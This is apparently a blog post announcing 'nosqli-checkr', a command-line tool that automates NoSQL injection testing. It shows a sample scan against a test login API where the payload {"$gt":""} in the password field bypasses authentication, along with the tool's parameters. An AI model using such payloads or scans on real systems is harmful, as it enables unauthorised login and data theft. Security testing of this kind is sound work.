Making easier a NoSQLi pentest

Hello, everyone!

Today I've created a project which automates a NoSQLi pentest, but this is the first version and I ask for help in this project.

If you have an interest in helping a little project to become a large project to make our life as "security guys" more easier, please, send issues or send a PR.

So, how this project works?

With some info from a request, the "exploit" can test if the request parameters can be exploited with some payloads of NoSQLi.

Example to exploit an login API, where we have a POST request and we have a JSON data with user and pass:

[igor.martins automated]$ nosqli-checkr scan --host="https://nosql-checkr-test.herokuapp.com/api/v1/login" --data='{ "user": "wubba", "pass": "" }' --method="post" --params="pass" --error-message='{"success":false,"result":"user/pass not found"}'


 ███╗   ██╗  ██████╗  ███████╗  ██████╗  ██╗      ██╗      ██████╗ ██╗  ██╗ ███████╗  ██████╗ ██╗  ██╗ ██████╗  
 ████╗  ██║ ██╔═══██╗ ██╔════╝ ██╔═══██╗ ██║      ██║     ██╔════╝ ██║  ██║ ██╔════╝ ██╔════╝ ██║ ██╔╝ ██╔══██╗ 
 ██╔██╗ ██║ ██║   ██║ ███████╗ ██║   ██║ ██║      ██║     ██║      ███████║ █████╗   ██║      █████╔╝  ██████╔╝ 
 ██║╚██╗██║ ██║   ██║ ╚════██║ ██║▄▄ ██║ ██║      ██║     ██║      ██╔══██║ ██╔══╝   ██║      ██╔═██╗  ██╔══██╗ 
 ██║ ╚████║ ╚██████╔╝ ███████║ ╚██████╔╝ ███████╗ ██║     ╚██████╗ ██║  ██║ ███████╗ ╚██████╗ ██║  ██╗ ██║  ██║ 
 ╚═╝  ╚═══╝  ╚═════╝  ╚══════╝  ╚══▀▀═╝  ╚══════╝ ╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚══════╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ 


✔ Request finished
✔ Response analyzed
✔ https://nosql-checkr-test.herokuapp.com/api/v1/login is vulnerable

ℹ Payload: {"$gt":""}
ℹ Evil data 😈: {"user":"wubba","pass":{"$gt":""}}
ℹ Data stoled:
{
    "success": true,
    "result": {
        "user": "wubba",
        "_id": "hVFQzFwVlMwCYFBT"
    }
}

The "exploit" test the param pass and find a payload {"$gt":""} which can exploit the NoSQL Injection flaw.

Parameters

• -h or --host: Route URL. Ex: https://nosql-checkr-test.herokuapp.com/api/v1/login
• -hr or --headers: Request headers. Ex: token:val or token:val;token2:val2
• -d or --data: Request data: Ex: { "user": "wubba", "pass": "" }
• -m or --method: Request method: Ex: post or POST
• -p or --params: Request params which will be exploited: Ex: pass or user,pass
• -e or --error-message: The default error message of request. Ex: {"success":false,"result":"user/pass not found"}

Github Project

Github Project